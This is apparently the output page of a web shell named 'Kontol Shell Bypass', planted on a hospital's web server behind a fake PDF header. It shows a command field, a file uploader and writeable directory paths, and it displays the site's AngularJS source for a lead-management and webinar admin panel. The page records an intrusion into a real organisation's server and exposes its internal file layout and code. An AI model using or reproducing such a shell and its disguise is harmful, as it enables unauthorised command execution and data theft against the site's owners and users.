%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/js/leads_feedback.js
/** LeadsFeedback **/
angular.module('MetronicApp').controller("LeadsFeedback", function($scope, $http, $state, $location, $timeout, Auth){
	var cr=this;
	cr.sdata={p:1, med_phd:''};
	cr.lists=function(p){
        cr.sdata.step_completed='';
		var steps=$("#sdd_steps").val();
		if(steps){
			cr.sdata.step_completed=$("#sdd_steps").val().join(',');
        }

        cr.sdata.state_ids='';
		var steps=$("#sdd_state_id").val();
		if(steps){
			cr.sdata.state_ids=$("#sdd_state_id").val().join(',');
        }

		show_loader();
		cr.sdata.p=p?p:1;
		$http({url: API_URL+'lf/lists', params:cr.sdata}).success(
			function(res){
				cr.result=res.result;
				cr.page=res.page;
			}
		).error(function(res){showHttpErr(res);});
	}

	cr.exportLists=function(){
		location.href=API_URL+'lf/exportLists?'+(cr.sdata);
	}

	cr.detail=function(id){
		cr.yourComment='';
		show_loader();
		$http({url: API_URL+'lf/detail/'+id}).success(
			function(res){
				cr.dtl=res.dtl;
				showModal($("#dtlModal"), true);
			}
		).error(function(res){showHttpErr(res);});
	}

	cr.delete=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'lf/delete', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				if(res.success=='T'){
					show_alert_msg(res.msg);
					var pg=cr.sdata.p;
					if(cr.page.total==1){
						pg=1;
					}
					cr.lists(pg);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	/** Follow-up */
    cr.rlead={};
    cr.open_follow_up=function(rob){
        cr.rlead=rob;
        show_loader();
		$http({url: API_URL+'leads/get_follow_ups/'+rob.application_id}).success(
			function(res){
				cr.followups=res.result;
				showModal($("#followupModal"), true);
			}
		);
    }
    cr.open_remarks_form=function(dtl){
        cr.rData=dtl?dtl:{application_id:cr.rlead.application_id, subremarks:''};
        showModal($("#remarksModal"), true);
    }
	cr.follow_up_detail=function(id){
		cr.subremarks=[];
		show_loader();
		$http({url: API_URL+'leads/follow_up_detail/'+id}).success(
			function(res){
				if(res.dtl){
                    cr.open_remarks_form(res.dtl);
					cr.subremarks=res.subremarks;
				}
			}
		);
    }
    cr.getSubremarks=function(remarks_id){
		cr.rData.subremarks='';
		cr.subremarks=[];
		$.each(cr.remarks, function(k,v){
			if(v.id==remarks_id){
				cr.subremarks=v.subremarks;
			}
		});
    }
    cr.addRemark=function(complete){
		var frm=$("#fdbackfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		formData.append("complete", complete || '');
		show_loader();
		$http({url:API_URL+'leads/save_follow_up', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success){
					show_alert_msg(res.msg);
                    cr.followups=res.result;
                    cr.rlead.followup_count=res.followup_count;
                    cr.rlead.followup_count_all=res.followup_count_all;
                    cr.lists(cr.sdata.p);
					hideModal($("#remarksModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}
	cr.delete_follow_up=function(id){
		var data = new FormData();
		data.append('id', id);
		show_loader();
		$http({url:API_URL+'leads/delete_follow_up', method:'POST', data, headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success){
					show_alert_msg(res.msg);
                    cr.followups=res.result;
                    cr.rlead.followup_count=res.followup_count;
                    cr.rlead.followup_count_all=res.followup_count_all;
                    cr.lists(cr.sdata.p);
					hideModal($("#remarksModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}
    /** \ */
	

	/** Remarks */
	cr.sdataR={};
	cr.openRForm=function(dtl){
		hide_form_errors($("#rForm"));
		$("#rForm").find('[type="file"]').val('');
		cr.rData=dtl?dtl:{status:'1', id:'', cat_id:'0', subremarks:[{id: '', title: '', disp_odr : ''}]};
		showModal($("#rFormModal"), true);
	}
	
	cr.listRemarks=function(){
		show_loader();
		$http({url: API_URL+'lf/remarks', params:cr.sdataR}).success(
			function(res){
				cr.remarks=res.remarks;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	cr.saveRemark=function(){
		var frm=$("#rForm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'lf/saveRemark', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success=='T'){
					show_alert_msg(res.msg);
					cr.listRemarks();
					hideModal($("#rFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	cr.editRemark=function(id){
		$http({url: API_URL+'lf/remarkDetail/'+id}).success(
			function(res){
				cr.openRForm(res.dtl);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	cr.deleteRemark=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'lf/deleteRemark', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				if(res.success=='T'){
					show_alert_msg(res.msg);
					cr.listRemarks();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	cr.addSubremarks=function(){
		cr.rData.subremarks.push({id: '', title: '', disp_odr : '', cat_id : ''});
	}
	cr.removeSubremarks=function(i){
		cr.rData.subremarks.splice(i,1);
	}

	/** Category lists **/
	cr.openCatList=function(){
		hide_form_errors($("#catForm"));
		showModal($("#catListModal"), true);
		cr.initCats();
	}

	cr.initCats=function(){
		cr.cat={id:'', title:'', disp_order: ""};
		show_loader();
		$http({url: API_URL+'lf/catList'}).success(
			function(res){
				cr.cats=res.results;
			}
		).error(function(res){showHttpErr(res);});
	}

	cr.catDtl=function(cat_id){
		show_loader();
		hide_form_errors($("#catForm"));
		$http({url: API_URL+'lf/catDtl/'+cat_id}).success(
			function(res){
				if(res.success == 'T'){
					cr.cat=res.cat;
				}else{
					cr.cat={id:'', title:'', disp_order: ""};
					show_alert_msg(res.msg, 'E');
				}				
			}
		).error(function(res){showHttpErr(res);});
	}

	cr.delCat=function(cat_id){
		if(confirm('Are You sure to delete this category')){
			$http({url: API_URL+'lf/delCat/'+cat_id}).success(
				function(res){
					if(res.success=='T'){
						show_alert_msg(res.msg);
						cr.initCats();
					}else{
						show_alert_msg(res.msg, 'E');
					}
				}
			).error(function(res){showHttpErr(res);});
		}		
	}

	cr.saveCat=function(){
		var frm=$("#catForm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'lf/saveCat', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success=='T'){
					show_alert_msg(res.msg);
					cr.initCats();
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
    }
    
    /** Lead Detail */
	cr.lead_detail=function(id){
		$('[href="#ltab_1"]').click();
		show_loader();
		$http({url: API_URL+'leads/detail/'+id+'/T'}).success(
			function(res){
				$scope.ldtl=res.dtl;
				showModal($("#leadDtlModal"), true);
			}
		);
	}

	
	/** Init **/
	cr.init=function(){
		setBsDatepicker();
		show_loader();
		$http({url: API_URL+'lf/init'}).success(
			function(res){
				cr.result=res.result;
				cr.page=res.page;
				cr.remarks=res.remarks;
				cr.remarksDD=res.remarks;
				cr.callers=res.callers;
                cr.cats=res.cats;
                cr.states=res.states;
                cr.comm_modes=res.comm_modes;

                $timeout(()=>{
                    apply_select2($("#sdd_steps"), "Step Completed (ALL)");
                    apply_select2($("#sdd_state_id"), "State (ALL)");
                    $(".ng-vis-hid").removeClass("ng-vis-hid");
                })
			}
		).error(function(res){showHttpErr(res);});
	}
	cr.init();
});

/** LeadsSentEmails **/
angular.module('MetronicApp').controller("LeadsSentEmails", function($http, $scope, $timeout){
	var cr=this;
	cr.sdata={p:1, is_letter:'0'};
	cr.lists=function(p){
        cr.sdata.step_completed='';
		var steps=$("#sdd_steps").val();
		if(steps){
			cr.sdata.step_completed=$("#sdd_steps").val().join(',');
        }

        cr.sdata.state_ids='';
		var steps=$("#sdd_state_id").val();
		if(steps){
			cr.sdata.state_ids=$("#sdd_state_id").val().join(',');
        }
        
        
		show_loader();
		cr.sdata.p=p?p:1;
		$http({url: API_URL+'lf/lists_sent_emails', params:cr.sdata}).success(
			function(res){
				cr.result=res.result;
				cr.page=res.page;
			}
		);
	}

	cr.exportLists=function(){
		location.href=API_URL+'lf/exportLists?'+(cr.sdata);
    }
    
    /** Lead Detail */
	cr.lead_detail=function(id){
		$('[href="#ltab_1"]').click();
		show_loader();
		$http({url: API_URL+'leads/detail/'+id+'/T'}).success(
			function(res){
				$scope.ldtl=res.dtl;
				showModal($("#leadDtlModal"), true);
			}
		);
	}
	
	/** Init **/
	cr.init=function(){
		setBsDatepicker();
		show_loader();
		$http({url: API_URL+'lf/init_sent_emails', params:cr.sdata}).success(
			function(res){
				cr.result=res.result;
				cr.page=res.page;
				cr.callers=res.callers;
                cr.states=res.states;
                
                $timeout(()=>{
                    apply_select2($("#sdd_steps"), "Step Completed (ALL)");
                    apply_select2($("#sdd_state_id"), "State (ALL)");
                    $(".ng-vis-hid").removeClass("ng-vis-hid");
                })
			}
		);
	}
	cr.init();
});

/** LeadsSentSMS **/
angular.module('MetronicApp').controller("LeadsSentSMS", function($http, $scope, $timeout){
	var cr=this;
	cr.sdata={p:1};
	cr.lists=function(p){
        cr.sdata.step_completed='';
		var steps=$("#sdd_steps").val();
		if(steps){
			cr.sdata.step_completed=$("#sdd_steps").val().join(',');
        }

        cr.sdata.state_ids='';
		var steps=$("#sdd_state_id").val();
		if(steps){
			cr.sdata.state_ids=$("#sdd_state_id").val().join(',');
        }
        
        
		show_loader();
		cr.sdata.p=p?p:1;
		$http({url: API_URL+'lf/lists_sent_sms', params:cr.sdata}).success(
			function(res){
				cr.result=res.result;
				cr.page=res.page;
			}
		);
	}

	cr.exportLists=function(){
		location.href=API_URL+'lf/exportLists?'+(cr.sdata);
    }
    
    /** Lead Detail */
	cr.lead_detail=function(id){
		$('[href="#ltab_1"]').click();
		show_loader();
		$http({url: API_URL+'leads/detail/'+id+'/T'}).success(
			function(res){
				$scope.ldtl=res.dtl;
				showModal($("#leadDtlModal"), true);
			}
		);
	}
	
	/** Init **/
	cr.init=function(){
		setBsDatepicker();
		show_loader();
		$http({url: API_URL+'lf/init_sent_sms'}).success(
			function(res){
				cr.result=res.result;
				cr.page=res.page;
				cr.callers=res.callers;
                cr.states=res.states;
                
                $timeout(()=>{
                    apply_select2($("#sdd_steps"), "Step Completed (ALL)");
                    apply_select2($("#sdd_state_id"), "State (ALL)");
                    $(".ng-vis-hid").removeClass("ng-vis-hid");
                })
			}
		);
	}
	cr.init();
});

/** DeadLeads **/
angular.module('MetronicApp').controller("DeadLeads", function($http, $scope, $timeout){
	var cr=this;
	cr.sdata={p:1};
	cr.lists=function(p){
        cr.sdata.step_completed='';
		var steps=$("#sdd_steps").val();
		if(steps){
			cr.sdata.step_completed=$("#sdd_steps").val().join(',');
        }

        cr.sdata.state_ids='';
		var steps=$("#sdd_state_id").val();
		if(steps){
			cr.sdata.state_ids=$("#sdd_state_id").val().join(',');
        }
        
		show_loader();
		cr.sdata.p=p?p:1;
		$http({url: API_URL+'lf/lists_dead_leads', params:cr.sdata}).success(
			function(res){
				cr.result=res.result;
				cr.page=res.page;
			}
		);
	}

	cr.exportLists=function(){
		location.href=API_URL+'lf/exportLists?'+(cr.sdata);
    }
    
    /** Lead Detail */
	cr.lead_detail=function(id){
		$('[href="#ltab_1"]').click();
		show_loader();
		$http({url: API_URL+'leads/detail/'+id+'/T'}).success(
			function(res){
				$scope.ldtl=res.dtl;
				showModal($("#leadDtlModal"), true);
			}
		);
	}

	cr.makeNonDeadLead=(id)=>{
        if(!confirm("Are you sure?")){
            return;
        }

        show_loader();
        $http({url: API_URL+'leads/makeNonDeadLead', method:'POST', data:{id}}).success(
            function(res){
                if(res.success){
					cr.lists();
                    show_alert_msg(res.msg);
                }else{
                    show_alert_msg(res.msg, 'E');
                }
            }
        );
    }
	
	/** Init **/
	cr.init=function(){
		setBsDatepicker();
		show_loader();
		$http({url: API_URL+'lf/init_dead_leads'}).success(
			function(res){
				cr.result=res.result;
				cr.page=res.page;
				cr.callers=res.callers;
                cr.states=res.states;
                
                $timeout(()=>{
                    apply_select2($("#sdd_steps"), "Step Completed (ALL)");
                    apply_select2($("#sdd_state_id"), "State (ALL)");
                    $(".ng-vis-hid").removeClass("ng-vis-hid");
                })
			}
		);
	}
	cr.init();
});


/** WebinarParticipants **/
angular.module('MetronicApp').controller("WebinarParticipants", function($http, $scope, $timeout){
	var cr=this;
    cr.sdata={p:1};
    cr.emailData={};
	cr.lists=function(p){
        cr.sdata.step_completed='';
		var steps=$("#sdd_steps").val();
		if(steps){
			cr.sdata.step_completed=$("#sdd_steps").val().join(',');
        }

        cr.sdata.state_ids='';
		var steps=$("#sdd_state_id").val();
		if(steps){
			cr.sdata.state_ids=$("#sdd_state_id").val().join(',');
        }

        cr.sdata.webinar_id='';
		var steps=$("#sdd_webinar_id").val();
		if(steps){
			cr.sdata.webinar_id=$("#sdd_webinar_id").val().join(',');
        }
        
        
		show_loader();
        cr.sdata.p=p?p:1;
        
		$http({url: API_URL+'lf/webinar_participants', params:cr.sdata}).success(
			function(res){
				cr.result=res.result;
				cr.page=res.page;
			}
		);
	}

    cr.open_send_inviation_modal=function(dtl){
        let webinars = $('#sdd_webinar_id').val() ||[];
        if(webinars.length === 1){
            cr.get_webinar_detail(webinars[0]);
        }else{
			show_alert_msg("Please Select One Webinar", 'E');
        }
    }

    cr.get_webinar_detail=function(web_id){
        show_loader();
		$http({url: API_URL+'lf/webinar_inv_email_dtl/'+web_id}).success(
			function(res){
                if(res.success){
                    cr.emailData=res.detail;
                    tinymce.EditorManager.get('email_content').setContent(cr.emailData.inv_email_body);
                    showModal($('#send-invitation-email-modal'),true);
                }else{
			        show_alert_msg(res.msg, 'E');
                }
			}
		);
    }

    cr.update_email_eontent=function(){
        tinyMCE.triggerSave(false, true);
		var frm=$("#webinar-email-form");
		hide_form_errors(frm);
        var formData=new FormData(frm[0]);
        
        show_loader();
		$http({url: API_URL+'lf/update_inv_email_content/', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res){
                if(res.success){
                    show_alert_msg(res.msg);
                    hideModal($("#send-invitation-email-modal"));
                    cr.initiate_send_email(res.send_email_api);
                    cr.lists();              
                }else{
			        show_alert_msg(res.msg, 'E');
                }
			}
		);
    }

    cr.initiate_send_email=function(send_email_api){
        show_loader();
        $http({url:send_email_api, method:'POST', data:{test_email:cr.emailData.test_email, is_pepipost:cr.emailData.is_pepipost}}).success(
		 	function(res){
                show_alert_msg("Email sending initiated");
		 	}
		);
    }

	cr.exportLists=function(){
		location.href=API_URL+'lf/exportLists?'+(cr.sdata);
    }

    /** Lead Detail */
	cr.lead_detail=function(id){
		$('[href="#ltab_1"]').click();
		show_loader();
		$http({url: API_URL+'leads/detail/'+id+'/T'}).success(
			function(res){
				$scope.ldtl=res.dtl;
				showModal($("#leadDtlModal"), true);
			}
		);
	}
    
	/** Init **/
	cr.init=function(){
        set_tinymce("#email_content", 600);
		setBsDatepicker();
		show_loader();
		$http({url: API_URL+'lf/init_webinar_participants'}).success(
			function(res){
				cr.result=res.result;
                cr.page=res.page;
                cr.webinars=res.webinars;
                cr.states=res.states;
                
                $timeout(()=>{
                    apply_select2($("#sdd_steps"), "Step Completed (ALL)");
                    apply_select2($("#sdd_state_id"), "State (ALL)");
                    apply_select2($("#sdd_webinar_id"), "Webinar (All)");
                    $(".ng-vis-hid").removeClass("ng-vis-hid");
                })
			}
		);
	}
	cr.init();
});

//EOF

Kontol Shell Bypass